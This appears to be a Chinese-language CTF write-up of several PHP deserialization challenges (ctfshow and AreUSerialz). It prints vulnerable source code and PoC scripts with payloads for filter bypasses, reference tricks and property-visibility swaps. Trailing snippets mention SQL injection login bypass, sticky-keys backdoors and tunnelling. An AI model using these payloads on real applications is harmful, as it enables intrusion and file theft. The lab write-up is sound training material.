    ctfshowWEB266

    php 
    highlight_file(__FILE__); 
    include('flag.php'); 
    $cs = file_get_contents('php://input'); 
    class ctfshow{ 
    public $username='xxxxxx'; 
    public $password='xxxxxx'; 
    public function __construct($u,$p){ 
    $this->username=$u; 
    $this->password=$p; 
    } 
    public function login(){ 
    return $this->username===$this->password; 
    } 
    public function __toString(){ 
    return $this->username; 
    } 
    public function __destruct(){ 
    global $flag; 
    echo $flag; 
    } 
    } 
    $ctfshowo=@unserialize($cs); 
    if(preg_match('/ctfshow/', $cs)){ 
    throw new Exception("Error $ctfshowo",1); 
    }
    

    很明顯是觸發析構函數就得到了flag,但是有過濾,如果匹配到了ctfshow就拋異常,

    這題用到的知識點是PHP類名對大小寫不敏感,可以清楚看到過濾并沒有過濾大小寫

    直接這樣

    $cs = file_get_contents('php://input');采用php偽協議傳參

    直接提交POST數據就行

    php 
    class cTfshow 
    { 
    } 
    $a=new cTfshow(); 
    echo (serialize($a));
    

    +號繞過

    ctfshowWEB258

    php 
    error_reporting(0); 
    highlight_file(__FILE__); 
    class ctfShowUser{ 
    public $username='xxxxxx'; 
    public $password='xxxxxx'; 
    public $isVip=false; 
    public $class = 'info'; 
    public function __construct(){ 
    $this->class=new info(); 
    } 
    public function login($u,$p){ 
    return $this->username===$u&&$this->password===$p; 
    } 
    public function __destruct(){ 
    $this->class->getInfo(); 
    } 
    } 
    class info{ 
    public $user='xxxxxx'; 
    public function getInfo(){ 
    return $this->user; 
    } 
    } 
    class backDoor{ 
    public $code; 
    public function getInfo(){ 
    eval($this->code); 
    } 
    } 
    $username=$_GET['username']; 
    $password=$_GET['password']; 
    if(isset($username) && isset($password)){ 
    if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){ 
    $user = unserialize($_COOKIE['user']); 
    } 
    $user->login($username,$password); 
    } 
    可見增加了過濾,過濾例如如下o:123:、c:456:
    s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
    

    正常反序列化肯定會有o和c這種

    如果O:后面不跟數字的話就可以把這個繞過去了

    這里可以用+號,具體原因是跟PHP底層代碼有關,+號判斷也是可以正常的反序列化的

    這里把O:后面加上一個加號

    php 
    error_reporting(0); 
    highlight_file(__FILE__); 
    class ctfShowUser{ 
     public $username='xxxxxx'; 
     public $password='xxxxxx'; 
     public $isVip=false; 
     public $class = 'info'; 
     public function __construct(){ 
     $this->class=new backDoor(); 
     } 
     public function __destruct(){ 
     $this->class->getInfo(); 
     } 
    } 
    class backDoor{ 
     public $code="phpinfo();"; 
     public function getInfo(){ 
     eval($this->code); 
     } 
    } 
    $a=new ctfShowUser(); 
    //echo urlencode(serialize($a)); 
    $a=serialize($a); 
    $a=preg_replace('/[oc]+:/i','O:+',$a); 
    echo urlencode($a);
    

    利用&使兩值恒等

    題目ctfshow web265

    php 
    error_reporting(0); 
    include('flag.php'); 
    highlight_file(__FILE__); 
    class ctfshowAdmin{ 
    public $token; 
    public $password; 
    public function __construct($t,$p){ 
    $this->token=$t; 
    $this->password = $p; 
    } 
    public function login(){ 
    return $this->token===$this->password; 
    } 
    } 
    $ctfshow = unserialize($_GET['ctfshow']); 
    $ctfshow->token=md5(mt_rand()); 
    if($ctfshow->login()){ 
    echo $flag; 
    }
    $ctfshow->login()這個成立才給flag
    $ctfshow->token=md5(mt_rand());但是這個是隨機的
    

    這個題考察php按地址傳參

    php 
    $a='11'; 
    $b=&$a; 
    $b=1; 
    echo $a;//$b被賦值的是變量a的地址,php是按地址傳參,a的值會隨b值變化 
    //1
    

    所以我們可以直接這樣

    php 
    class ctfshowAdmin{ 
     public $token; 
     public $password; 
     public function __construct(){ 
     $this->password = &$this->token; 
     } 
    } 
    $a=new ctfshowAdmin(); 
    echo ( urlencode(serialize($a)));
    
    php7.1+反序列化對類屬性不敏感

    題目來自[網鼎杯 2020 青龍組]AreUSerialz

    php 
    include("flag.php"); 
    highlight_file(__FILE__); 
    class FileHandler { 
     protected $op; 
     protected $filename; 
     protected $content; 
     function __construct() { 
     $op = "1"; 
     $filename = "/tmp/tmpfile"; 
     $content = "Hello World!"; 
     $this->process(); 
     } 
     public function process() { 
     if($this->op == "1") { 
     $this->write(); 
     } else if($this->op == "2") { 
     $res = $this->read(); 
     $this->output($res); 
     } else { 
     $this->output("Bad Hacker!"); 
     } 
     } 
     private function write() { 
     if(isset($this->filename) && isset($this->content)) { 
     if(strlen((string)$this->content) > 100) { 
     $this->output("Too long!"); 
     die(); 
     } 
     $res = file_put_contents($this->filename, $this->content); 
     if($res) $this->output("Successful!"); 
     else $this->output("Failed!"); 
     } else { 
     $this->output("Failed!"); 
     } 
     } 
     private function read() { 
     $res = ""; 
     if(isset($this->filename)) { 
     $res = file_get_contents($this->filename); 
     } 
     return $res; 
     } 
     private function output($s) { 
     echo "[Result]: 
    "; 
     echo $s; 
     } 
     function __destruct() { 
     if($this->op === "2") 
     $this->op = "1"; 
     $this->content = ""; 
     $this->process(); 
     } 
    } 
    function is_valid($s) { 
     for($i = 0; $i < strlen($s); $i++) 
     if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 
     return false; 
     return true; 
    } 
    if(isset($_GET{'str'})) { 
     $str = (string)$_GET['str']; 
     if(is_valid($str)) { 
     $obj = unserialize($str); 
     } 
    }
    

    看著很多,其實沒什么東西,

    關鍵要利用到這里

    大致看了write函數或者read函數,都可以嘗試利用得到flag

    但是__destruct()方法 $this->content = "";會把content值為空,我們沒有辦法去利用這個write函數,所以看看read函數

    __destruct()方法里有一個強類型比較,$this->op === "2",如果我們把op=2;不加引號,那么為int類型,則$this->op === "2"為false,這樣在process()方法里,就會調用read方法

    接著就是繞過 is_valid函數 ,由于有protected屬性,會有不可打印字符,而不可打印字符被

    is_valid函數限制住了,所以需要繞過,那么在php7.1版本以上可以直接修改屬性

    因為php7.1以上的版本對屬性類型不敏感,所以可以將屬性改為public,public屬性序列化不會出現不可見字符

    POC如下

    php 
    class FileHandler { 
     public $op=2; 
     public $filename="flag.php"; 
     public $content="111"; 
     pr 
    } 
    $a = new FileHandler(); 
    echo urlencode(serialize($a)); 
    ?>
    payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
    
    phptest
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    pass=''.$pass.'' and uname=''.$uname.''';可以構造萬能密碼 :username填 ' or 1=1#password 填 \'SQL語句變成了'select * from auth where ?
    權限維持分析
    2021-11-23 09:28:29
    專注是做事成功的關鍵,是健康心靈的特質。當你與所關注的事物融為一體時,就不會讓自己縈繞于焦慮之中。專注與放松,是同一枚硬幣的兩面而已。一個人對一件事只有專注投入才會帶來樂趣。一旦你專注投入進去,它立刻就變得活生生起來。
    在信息安全領域。后門是指通過繞過安全控制措施獲取對程序或系統ti訪問權限的方法。系統維護人員可以清除操作系統中的后門,以恢復目標系統安全控制體系的正規用戶的認證過程。在windows主機上連續按5次“shift”鍵,就可以調出粘滯鍵。windows的粘滯鍵主要是為無法同時按多個按鍵的用戶設計的。
    內網滲透合集(二)
    2023-01-28 09:35:05
    接下來在內網肉雞再次執行:htran -p -slave 公網肉雞IP 119 127.0.0.1 8009?linux也有實現,感覺使用方法更加明朗,且與windows下的兼容 在此推薦下。把windows的小做修改下,重新編譯了下,源程序比較簡單就不上傳工程文件了,直接給個C文件,自己編譯下即可。linux下實現大同小異,只不過用的fork實現子線程。此時在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。
    一個內網安全攻防的知識倉庫
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    又一個 PHP 遠程命令執行漏洞 CVE-2022-31625。在 PHP_FUNCTION中分配在堆上的數組沒有被清除,如果發生轉換錯誤,由于數組沒有初始化,導致可以釋放之前請求的值,導致遠程代碼執行。
    前言本文通過多個 poc ,結合ftp協議底層和php源碼,分析了在 php 中利用 ftp 偽協議攻擊 php-fpm ,從而繞過 disable_functions 的攻擊方法,并在文末復現了 [藍帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
    無回顯概念無回顯,即執行的payload在站點沒有輸出,無法進行進一步操作。不同漏洞的無回顯1、SQL注入無回顯SQL注入,作為OWASP常年占據榜首位置的漏洞,在無回顯中也是常見的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类